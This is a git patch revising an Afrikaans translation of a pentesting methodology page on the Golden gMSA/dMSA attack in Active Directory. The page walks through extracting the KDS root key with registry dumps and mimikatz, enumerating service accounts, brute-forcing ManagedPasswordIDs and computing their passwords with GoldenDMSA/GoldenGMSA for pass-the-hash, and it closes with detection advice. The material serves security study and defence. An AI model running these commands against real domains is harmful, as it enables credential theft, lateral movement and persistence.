From 96ab3eccc3fe372e8f53cbcc8bc098da6df330a6 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 21 Jul 2025 22:29:27 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/golden-d --- .../golden-dmsa-gmsa.md | 57 +++++++++++-------- 1 file changed, 33 insertions(+), 24 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index a0ba06a68..15b962459 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -1,41 +1,41 @@ -# Golden gMSA/dMSA Aanval (Aflyn Derivatie van Gemanagte Diensrekening Wagwoorde) +# Golden gMSA/dMSA Aanval (Offline Afleiding van Gemanagte Diensrekening Wagwoorde) {{#include ../../banners/hacktricks-training.md}} ## Oorsig -Windows Gemanagte Diensrekeninge (MSA) is spesiale prinsipes wat ontwerp is om dienste te laat loop sonder die behoefte om hul wagwoorde handmatig te bestuur. +Windows Gemanagte Diensrekeninge (MSA) is spesiale beginsels wat ontwerp is om dienste te laat loop sonder die behoefte om hul wagwoorde handmatig te bestuur. Daar is twee hoof variasies: -1. **gMSA** – groep Gemanagte Diensrekening – kan op verskeie gasheer gebruik word wat gemagtig is in sy `msDS-GroupMSAMembership` attribuut. +1. **gMSA** – groep Gemanagte Diensrekening – kan op verskeie gasheer gebruik word wat geoutoriseer is in sy `msDS-GroupMSAMembership` attribuut. 2. **dMSA** – gedelegeerde Gemanagte Diensrekening – die (voorskou) opvolger van gMSA, wat op dieselfde kriptografie staatmaak maar meer granular gedelegeerde scenario's toelaat. Vir beide variasies is die **wagwoord nie gestoor** op elke Domeinbeheerder (DC) soos 'n gewone NT-hash nie. In plaas daarvan kan elke DC die huidige wagwoord **aflei** ter plaatse van: -* Die woud-wye **KDS Wortelsleutel** (`KRBTGT\KDS`) – ewekansig gegenereerde GUID-genaamde geheim, wat na elke DC gerepliceer word onder die `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` houer. +* Die woud-wye **KDS Wortelsleutel** (`KRBTGT\KDS`) – lukraak gegenereerde GUID-genaamde geheim, gerepliceer na elke DC onder die `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` houer. * Die teikenrekening **SID**. * 'n per-rekening **ManagedPasswordID** (GUID) wat in die `msDS-ManagedPasswordId` attribuut gevind word. -Die afleiding is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob wat uiteindelik **base64-gecodeer** en in die `msDS-ManagedPassword` attribuut gestoor word. +Die afleiding is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob uiteindelik **base64-gecodeer** en gestoor in die `msDS-ManagedPassword` attribuut. Geen Kerberos-verkeer of domeininteraksie is nodig tydens normale wagwoordgebruik nie – 'n lidgasheer lei die wagwoord plaaslik af solank dit die drie insette ken. ## Golden gMSA / Golden dMSA Aanval As 'n aanvaller al drie insette **aflyn** kan verkry, kan hulle **geldige huidige en toekomstige wagwoorde** vir **enige gMSA/dMSA in die woud** bereken sonder om die DC weer aan te raak, wat die volgende omseil: -* Kerberos vooraf-verifikasie / kaartjie versoek logs * LDAP lees ouditering -* Wagwoord verandering tydperke (hulle kan vooraf bereken) +* Wagwoord verandering intervalle (hulle kan vooraf bereken) -Dit is analoog aan 'n *Goue Kaartjie* vir diensrekeninge. +Dit is analoog aan 'n *Golden Ticket* vir diensrekeninge. ### Voorvereistes -1. **Woud-vlak kompromie** van **een DC** (of Enterprise Admin). `SYSTEM` toegang is genoeg. -2. Vermoë om diensrekeninge te tel (LDAP lees / RID brute-force). +1. **Woud-vlak kompromie** van **een DC** (of Enterprise Admin), of `SYSTEM` toegang tot een van die DC's in die woud. +2. Vermoë om diensrekeninge te lys (LDAP lees / RID brute-force). 3. .NET ≥ 4.7.2 x64 werkstasie om [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) of ekwivalente kode te loop. -### Fase 1 – Trek die KDS Wortelsleutel uit +### Golden gMSA / dMSA +##### Fase 1 – Trek die KDS Wortelsleutel uit Dump van enige DC (Volume Shadow Copy / rou SAM+SECURITY hives of afstandsgeheime): ```cmd @@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too -``` -Die base64-string gemerk `RootKey` (GUID naam) is benodig in latere stappe. -### Fase 2 – Enumereer gMSA/dMSA objekten +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo +``` +Die base64-string gemerk `RootKey` (GUID naam) is nodig in latere stappe. + +##### Fase 2 – Enumereer gMSA / dMSA objekte Herwin ten minste `sAMAccountName`, `objectSid` en `msDS-ManagedPasswordId`: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementeer helper-modusse: ```powershell @@ -64,13 +73,13 @@ GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Fase 3 – Raai / Ontdek die ManagedPasswordID (wanneer dit ontbreek) +##### Fase 3 – Raai / Ontdek die ManagedPasswordID (wanneer dit ontbreek) Sommige implementasies *verwyder* `msDS-ManagedPasswordId` van ACL-beskermde leeswerk. Omdat die GUID 128-bis is, is naïewe bruteforce onmoontlik, maar: -1. Die eerste **32 bis = Unix epocht tyd** van die rekening se skepping (minute resolusie). -2. Gevolg deur 96 ewekansige bis. +1. Die eerste **32 bits = Unix epocht tyd** van die rekening se skepping (minute resolusie). +2. Gevolg deur 96 ewekansige bits. Daarom is 'n **smal woordlys per rekening** (± paar ure) realisties. ```powershell @@ -78,15 +87,13 @@ GoldendMSA.exe wordlist -s -d example.local -f example.local -k -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` Die resulterende hashes kan ingespuit word met **mimikatz** (`sekurlsa::pth`) of **Rubeus** vir Kerberos misbruik, wat stealth **laterale beweging** en **volharding** moontlik maak. @@ -94,20 +101,22 @@ Die resulterende hashes kan ingespuit word met **mimikatz** (`sekurlsa::pth`) of * Beperk **DC rugsteun en registrasie heuning lees** vermoëns tot Tier-0 administrateurs. * Monitor **Directory Services Restore Mode (DSRM)** of **Volume Shadow Copy** skepping op DC's. -* Ouudit lees / veranderinge aan `CN=Master Root Keys,…` en `userAccountControl` vlae van diens rekeninge. +* Ou dit lees / veranderinge aan `CN=Master Root Keys,…` en `userAccountControl` vlae van diens rekeninge. * Ontdek ongewone **base64 wagwoord skrywe** of skielike diens wagwoord hergebruik oor gasheer. * Oorweeg om hoë-privilege gMSA's na **klassieke diens rekeninge** te omskep met gereelde ewekansige rotasies waar Tier-0 isolasie nie moontlik is nie. ## Gereedskap * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – verwysingsimplementering gebruik in hierdie bladsy. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – verwysingsimplementering gebruik in hierdie bladsy. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket met afgeleide AES sleutels. ## Verwysings - [Golden dMSA – outentikasie omseiling vir gedelegeerde Beheerde Diens Rekeninge](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) -- [Semperis/GoldenDMSA GitHub berging](https://github.com/Semperis/GoldenDMSA) +- [gMSA Aktiewe Gids Aanval Rekeninge](https://www.semperis.com/blog/golden-gmsa-attack/) +- [Semperis/GoldenDMSA GitHub-bewaarplek](https://github.com/Semperis/GoldenDMSA) - [Improsec – Golden gMSA vertrou aanval](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) {{#include ../../banners/hacktricks-training.md}}